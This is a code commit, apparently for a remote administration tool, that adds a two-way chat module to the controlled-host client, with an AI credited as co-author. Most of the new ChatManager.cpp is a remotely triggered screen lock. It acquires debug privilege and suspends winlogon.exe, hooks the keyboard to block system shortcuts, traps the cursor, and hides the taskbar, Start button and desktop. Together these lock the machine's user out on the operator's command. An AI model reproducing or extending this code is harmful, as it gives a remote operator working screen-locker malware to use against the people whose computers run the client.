Feature: Two-way remote chat (远程交谈)
Add a "远程交谈" toolbar button (placed after 连接管理) that sends COMMAND_CHAT(161) to the selected host. The host opens a sub-connection and the new CChatManager replies with TOKEN_CHAT_START(62) to open the server's existing CChat dialog. The host's chat window stays hidden until the first message or a screen-lock command arrives, and it supports server-triggered screen lock/unlock. Co-Authored-By: deepseek-v4-pro
This commit is contained in:
1 parent
bbdb4104bf
commit
6c9fef8793
17 files changed
+428
-3
No files matched your search
@@ -0,0 +1,336 @@
|
|||||||
|
// ChatManager.cpp: implementation of the CChatManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "ChatManager.h"
|
||||||
|
#include "Common.h"
|
||||||
|
#include "resource.h"
|
||||||
|
#include <TlHelp32.h>
|
||||||
|
|
||||||
|
#if ENABLE_MESSAGE
|
||||||
|
|
||||||
|
// 远程交谈(双向聊天)被控端实现,移植自 SimplePlugins/ChatManager。
|
||||||
|
// 服务端 CChat 对话框发起会话后,被控端在此显示聊天窗口,并支持服务端远程锁定屏幕。
|
||||||
|
|
||||||
|
#define SE_DEBUG_PRIVILEGE 20
|
||||||
|
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
|
||||||
|
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);
|
||||||
|
|
||||||
|
struct PIDWNDINFO {
|
||||||
|
DWORD dwProcessId;
|
||||||
|
HWND hWnd;
|
||||||
|
};
|
||||||
|
|
||||||
|
// 锁定屏幕相关的全局状态(同一会话内只有一个 CChatManager 实例)
|
||||||
|
static HANDLE g_hProcess = NULL;
|
||||||
|
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
|
||||||
|
static HHOOK g_hKeyBoard = NULL;
|
||||||
|
static int g_nLocked = 0;
|
||||||
|
|
||||||
|
static DWORD GetWinlogonPid()
|
||||||
|
{
|
||||||
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if (snap == INVALID_HANDLE_VALUE) return 0;
|
||||||
|
PROCESSENTRY32 pEntry = { sizeof(pEntry) };
|
||||||
|
BOOL rtn = Process32First(snap, &pEntry);
|
||||||
|
while (rtn) {
|
||||||
|
if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
|
||||||
|
CloseHandle(snap);
|
||||||
|
return pEntry.th32ProcessID;
|
||||||
|
}
|
||||||
|
memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
|
||||||
|
rtn = Process32Next(snap, &pEntry);
|
||||||
|
}
|
||||||
|
CloseHandle(snap);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
|
||||||
|
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
if (code == HC_ACTION) {
|
||||||
|
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
|
||||||
|
switch (wParam) {
|
||||||
|
case WM_KEYDOWN:
|
||||||
|
case WM_SYSKEYDOWN:
|
||||||
|
case WM_KEYUP:
|
||||||
|
case WM_SYSKEYUP:
|
||||||
|
if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+TAB
|
||||||
|
|| (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+F4
|
||||||
|
|| (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) // Alt+Esc
|
||||||
|
|| (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) // Ctrl+Esc
|
||||||
|
|| (p->vkCode == VK_LWIN)
|
||||||
|
|| (p->vkCode == VK_RWIN)) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
|
||||||
|
{
|
||||||
|
PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
|
||||||
|
LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
|
||||||
|
if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
|
||||||
|
IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
|
||||||
|
ShowWindow(hWnd, SW_MINIMIZE);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
DWORD dwProcessId;
|
||||||
|
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||||||
|
if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
|
||||||
|
pInfo->hWnd = hWnd;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 安装键盘钩子并挂起 winlogon(必须在聊天窗口线程调用,确保钩子有消息循环)
|
||||||
|
static void ChatSetHook()
|
||||||
|
{
|
||||||
|
g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
|
||||||
|
HMODULE hMod = LoadLibrary("ntdll");
|
||||||
|
if (hMod) {
|
||||||
|
RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
|
||||||
|
SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
|
||||||
|
g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
|
||||||
|
DWORD pid = GetWinlogonPid();
|
||||||
|
BOOLEAN dummy = 0;
|
||||||
|
if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
|
||||||
|
g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
||||||
|
if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ChatUnSetHook()
|
||||||
|
{
|
||||||
|
if (g_hKeyBoard) {
|
||||||
|
UnhookWindowsHookEx(g_hKeyBoard);
|
||||||
|
g_hKeyBoard = NULL;
|
||||||
|
}
|
||||||
|
if (g_lpfnNtResumeProcess && g_hProcess) {
|
||||||
|
g_lpfnNtResumeProcess(g_hProcess);
|
||||||
|
}
|
||||||
|
if (g_hProcess) {
|
||||||
|
CloseHandle(g_hProcess);
|
||||||
|
g_hProcess = NULL;
|
||||||
|
}
|
||||||
|
g_lpfnNtResumeProcess = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解除锁定:恢复鼠标/屏保/任务栏/开始菜单/桌面,并恢复 winlogon
|
||||||
|
static void UnlockScreen()
|
||||||
|
{
|
||||||
|
ChatUnSetHook();
|
||||||
|
ClipCursor(NULL);
|
||||||
|
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
|
||||||
|
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
|
||||||
|
::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
|
||||||
|
::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
|
||||||
|
g_nLocked = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
|
||||||
|
{
|
||||||
|
m_hInstance = HINSTANCE(user);
|
||||||
|
m_hWnd = NULL;
|
||||||
|
m_bRun = TRUE;
|
||||||
|
g_nLocked = 0;
|
||||||
|
|
||||||
|
// 向服务端发起远程交谈,服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
|
||||||
|
BYTE bToken = TOKEN_CHAT_START;
|
||||||
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
|
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||||
|
WaitForDialogOpen();
|
||||||
|
|
||||||
|
m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
|
||||||
|
Mprintf("Chat 构造\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
CChatManager::~CChatManager()
|
||||||
|
{
|
||||||
|
m_bRun = FALSE;
|
||||||
|
while (m_hThread)
|
||||||
|
Sleep(100);
|
||||||
|
|
||||||
|
if (g_nLocked == 1) {
|
||||||
|
UnlockScreen();
|
||||||
|
}
|
||||||
|
if (m_hWnd) {
|
||||||
|
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
|
||||||
|
}
|
||||||
|
Mprintf("Chat 析构\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
|
||||||
|
{
|
||||||
|
CChatManager* pThis = (CChatManager*)lParam;
|
||||||
|
HANDLE& hThread(pThis->m_hThread);
|
||||||
|
|
||||||
|
pThis->m_hWnd = CreateDialogParamA(pThis->m_hInstance, MAKEINTRESOURCE(IDD_CHAT), NULL,
|
||||||
|
CChatManager::ChatDialogProc, (LPARAM)pThis);
|
||||||
|
if (pThis->m_hWnd) {
|
||||||
|
SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
|
||||||
|
SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
|
||||||
|
// 移除最小化/最大化按钮
|
||||||
|
LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
|
||||||
|
lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
|
||||||
|
SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);
|
||||||
|
|
||||||
|
MSG msg;
|
||||||
|
while (GetMessage(&msg, NULL, 0, 0) && pThis->m_bRun) {
|
||||||
|
if (!IsDialogMessage(pThis->m_hWnd, &msg)) {
|
||||||
|
TranslateMessage(&msg);
|
||||||
|
DispatchMessage(&msg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hThread);
|
||||||
|
hThread = NULL;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
|
||||||
|
switch (uMsg) {
|
||||||
|
case WM_INITDIALOG:
|
||||||
|
SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
|
||||||
|
pThis = (CChatManager*)lParam;
|
||||||
|
SetWindowText(hDlg, "远程交谈");
|
||||||
|
SetDlgItemText(hDlg, IDC_BUTTON_SEND, "发送消息");
|
||||||
|
SetDlgItemText(hDlg, IDC_BUTTON_END, "结束交谈");
|
||||||
|
{
|
||||||
|
HICON hIcon = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
|
||||||
|
if (hIcon) {
|
||||||
|
SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);
|
||||||
|
SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
case WM_COMMAND:
|
||||||
|
if (LOWORD(wParam) == IDC_BUTTON_SEND) {
|
||||||
|
char str[4096] = { 0 };
|
||||||
|
GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str));
|
||||||
|
if (str[0] == 0) {
|
||||||
|
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
|
||||||
|
return TRUE; // 消息为空不发送
|
||||||
|
}
|
||||||
|
pThis->Send((LPBYTE)str, lstrlenA(str) + 1);
|
||||||
|
|
||||||
|
SYSTEMTIME st;
|
||||||
|
GetLocalTime(&st);
|
||||||
|
char Text[5120] = { 0 };
|
||||||
|
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "自己:",
|
||||||
|
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
|
||||||
|
HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
|
||||||
|
int nLen = GetWindowTextLength(hEditChatLog);
|
||||||
|
if (nLen >= 20000) {
|
||||||
|
SetWindowText(hEditChatLog, "");
|
||||||
|
nLen = GetWindowTextLength(hEditChatLog);
|
||||||
|
}
|
||||||
|
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
|
||||||
|
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
|
||||||
|
SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, "");
|
||||||
|
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
if (LOWORD(wParam) == IDC_BUTTON_END) {
|
||||||
|
// 被控端主动结束交谈:关闭本地聊天窗口
|
||||||
|
SendMessage(hDlg, WM_USER + 1, NULL, NULL);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case WM_CLOSE:
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
case WM_USER + 1:
|
||||||
|
pThis->m_hWnd = NULL;
|
||||||
|
DestroyWindow(hDlg);
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
case WM_USER + 2:
|
||||||
|
ChatSetHook();
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
case WM_DESTROY:
|
||||||
|
PostQuitMessage(0);
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
if (szBuffer[0] == TOKEN_HEARTBEAT) return;
|
||||||
|
|
||||||
|
if (ulLength == 1) {
|
||||||
|
switch (szBuffer[0]) {
|
||||||
|
case COMMAND_NEXT_CHAT:
|
||||||
|
NotifyDialogIsOpen();
|
||||||
|
return;
|
||||||
|
case COMMAND_CHAT_CLOSE:
|
||||||
|
if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
|
||||||
|
return;
|
||||||
|
case COMMAND_CHAT_SCREEN_LOCK:
|
||||||
|
NotifyDialogIsOpen();
|
||||||
|
if (m_hWnd && g_nLocked == 0) {
|
||||||
|
ShowWindow(m_hWnd, SW_RESTORE);
|
||||||
|
RECT rct = { 0 };
|
||||||
|
GetWindowRect(m_hWnd, &rct);
|
||||||
|
ClipCursor(&rct);
|
||||||
|
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
|
||||||
|
PIDWNDINFO pwi = { 0 };
|
||||||
|
pwi.dwProcessId = 0;
|
||||||
|
pwi.hWnd = m_hWnd;
|
||||||
|
EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
|
||||||
|
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
|
||||||
|
::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
|
||||||
|
::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
|
||||||
|
SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
|
||||||
|
g_nLocked = 1;
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
case COMMAND_CHAT_SCREEN_UNLOCK:
|
||||||
|
if (g_nLocked == 1) {
|
||||||
|
UnlockScreen();
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 收到服务端发来的聊天文本
|
||||||
|
SYSTEMTIME st;
|
||||||
|
GetLocalTime(&st);
|
||||||
|
char Text[8192] = { 0 };
|
||||||
|
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "对方:",
|
||||||
|
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, (char*)szBuffer);
|
||||||
|
if (m_hWnd) {
|
||||||
|
HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG);
|
||||||
|
int nLen = GetWindowTextLength(hEditChatLog);
|
||||||
|
if (nLen >= 20000) {
|
||||||
|
SetWindowText(hEditChatLog, "");
|
||||||
|
nLen = GetWindowTextLength(hEditChatLog);
|
||||||
|
}
|
||||||
|
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
|
||||||
|
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
|
||||||
|
ShowWindow(m_hWnd, SW_RESTORE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
// ChatManager.h: interface for the CChatManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
|
||||||
|
#if ENABLE_MESSAGE==0
|
||||||
|
#define CChatManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
|
class CChatManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
HINSTANCE m_hInstance;
|
||||||
|
CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||||
|
virtual ~CChatManager();
|
||||||
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
private:
|
||||||
|
BOOL m_bRun;
|
||||||
|
HANDLE m_hThread;
|
||||||
|
HWND m_hWnd;
|
||||||
|
|
||||||
|
static DWORD WINAPI MessageLoopProc(LPVOID lParam);
|
||||||
|
static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -216,6 +216,7 @@
|
|||||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||||
<ClCompile Include="EncoderFactory.cpp" />
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="TalkManager.cpp" />
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
|
<ClCompile Include="ChatManager.cpp" />
|
||||||
<ClCompile Include="VideoManager.cpp" />
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
@@ -270,6 +271,7 @@
|
|||||||
<ClInclude Include="StdAfx.h" />
|
<ClInclude Include="StdAfx.h" />
|
||||||
<ClInclude Include="SystemManager.h" />
|
<ClInclude Include="SystemManager.h" />
|
||||||
<ClInclude Include="TalkManager.h" />
|
<ClInclude Include="TalkManager.h" />
|
||||||
|
<ClInclude Include="ChatManager.h" />
|
||||||
<ClInclude Include="VideoCodec.h" />
|
<ClInclude Include="VideoCodec.h" />
|
||||||
<ClInclude Include="VideoManager.h" />
|
<ClInclude Include="VideoManager.h" />
|
||||||
<ClInclude Include="X264Encoder.h" />
|
<ClInclude Include="X264Encoder.h" />
|
||||||
|
|||||||
@@ -5,6 +5,7 @@
|
|||||||
#include "ScreenManager.h"
|
#include "ScreenManager.h"
|
||||||
#include "FileManager.h"
|
#include "FileManager.h"
|
||||||
#include "TalkManager.h"
|
#include "TalkManager.h"
|
||||||
|
#include "ChatManager.h"
|
||||||
#include "ShellManager.h"
|
#include "ShellManager.h"
|
||||||
#include "SystemManager.h"
|
#include "SystemManager.h"
|
||||||
#include "ConPTYManager.h"
|
#include "ConPTYManager.h"
|
||||||
@@ -101,6 +102,11 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam)
|
|||||||
return LoopManager<CTalkManager, 0>(lParam);
|
return LoopManager<CTalkManager, 0>(lParam);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopChatManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CChatManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
||||||
{
|
{
|
||||||
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
|
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
|
||||||
|
|||||||
@@ -28,6 +28,7 @@ DWORD WINAPI LoopShellManager(LPVOID lParam);
|
|||||||
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopFileManager(LPVOID lParam);
|
DWORD WINAPI LoopFileManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopChatManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
||||||
|
|||||||
@@ -1153,6 +1153,20 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case COMMAND_CHAT: { // 远程交谈(双向聊天)
|
||||||
|
if (!ENABLE_MESSAGE) {
|
||||||
|
return ResponseDisable(m_ClientObject, "CHAT", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
|
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||||
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopChatManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
case COMMAND_SHELL: {
|
case COMMAND_SHELL: {
|
||||||
if (!ENABLE_SHELL) {
|
if (!ENABLE_SHELL) {
|
||||||
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
||||||
|
|||||||
@@ -31,6 +31,18 @@ FONT 10, "System", 0, 0, 0x0
|
|||||||
BEGIN
|
BEGIN
|
||||||
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
||||||
END
|
END
|
||||||
|
IDD_CHAT DIALOGEX 0, 0, 235, 155
|
||||||
|
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||||
|
CAPTION "Chat"
|
||||||
|
FONT 10, "System", 0, 0, 0x0
|
||||||
|
BEGIN
|
||||||
|
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE
|
||||||
|
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE
|
||||||
|
PUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14,BS_DEFPUSHBUTTON | WS_TABSTOP | WS_VISIBLE
|
||||||
|
PUSHBUTTON "End",IDC_BUTTON_END,178,133,54,14,WS_TABSTOP | WS_VISIBLE
|
||||||
|
END
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
@@ -44,6 +56,9 @@ BEGIN
|
|||||||
IDD_DIALOG, DIALOG
|
IDD_DIALOG, DIALOG
|
||||||
BEGIN
|
BEGIN
|
||||||
END
|
END
|
||||||
|
IDD_CHAT, DIALOG
|
||||||
|
BEGIN
|
||||||
|
END
|
||||||
END
|
END
|
||||||
#endif // APSTUDIO_INVOKED
|
#endif // APSTUDIO_INVOKED
|
||||||
|
|
||||||
|
|||||||
@@ -226,6 +226,7 @@
|
|||||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||||
<ClCompile Include="EncoderFactory.cpp" />
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="TalkManager.cpp" />
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
|
<ClCompile Include="ChatManager.cpp" />
|
||||||
<ClCompile Include="VideoManager.cpp" />
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
@@ -283,6 +284,7 @@
|
|||||||
<ClInclude Include="SystemManager.h" />
|
<ClInclude Include="SystemManager.h" />
|
||||||
<ClInclude Include="VideoEncoderBase.h" />
|
<ClInclude Include="VideoEncoderBase.h" />
|
||||||
<ClInclude Include="TalkManager.h" />
|
<ClInclude Include="TalkManager.h" />
|
||||||
|
<ClInclude Include="ChatManager.h" />
|
||||||
<ClInclude Include="VideoCodec.h" />
|
<ClInclude Include="VideoCodec.h" />
|
||||||
<ClInclude Include="VideoManager.h" />
|
<ClInclude Include="VideoManager.h" />
|
||||||
<ClInclude Include="X264Encoder.h" />
|
<ClInclude Include="X264Encoder.h" />
|
||||||
|
|||||||
+7
-2
@@ -9,14 +9,19 @@
|
|||||||
#define IDI_ICON2 105
|
#define IDI_ICON2 105
|
||||||
#define IDI_ICON_MSG 105
|
#define IDI_ICON_MSG 105
|
||||||
#define IDC_EDIT_MESSAGE 1000
|
#define IDC_EDIT_MESSAGE 1000
|
||||||
|
#define IDD_CHAT 106
|
||||||
|
#define IDC_EDIT_CHATLOG 1001
|
||||||
|
#define IDC_EDIT_NEWMSG 1002
|
||||||
|
#define IDC_BUTTON_SEND 1003
|
||||||
|
#define IDC_BUTTON_END 1004
|
||||||
|
|
||||||
// Next default values for new objects
|
// Next default values for new objects
|
||||||
//
|
//
|
||||||
#ifdef APSTUDIO_INVOKED
|
#ifdef APSTUDIO_INVOKED
|
||||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
#define _APS_NEXT_RESOURCE_VALUE 106
|
#define _APS_NEXT_RESOURCE_VALUE 107
|
||||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
#define _APS_NEXT_CONTROL_VALUE 1005
|
||||||
#define _APS_NEXT_SYMED_VALUE 101
|
#define _APS_NEXT_SYMED_VALUE 101
|
||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
@@ -320,6 +320,8 @@ enum {
|
|||||||
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
|
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
|
||||||
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
|
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
|
||||||
|
|
||||||
|
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
|
||||||
|
|
||||||
TOKEN_DECRYPT = 199,
|
TOKEN_DECRYPT = 199,
|
||||||
TOKEN_REGEDIT = 200, // 注册表
|
TOKEN_REGEDIT = 200, // 注册表
|
||||||
COMMAND_REG_FIND, // 注册表 管理标识
|
COMMAND_REG_FIND, // 注册表 管理标识
|
||||||
|
|||||||
Binary file not shown.
@@ -994,6 +994,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
|
ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
|
||||||
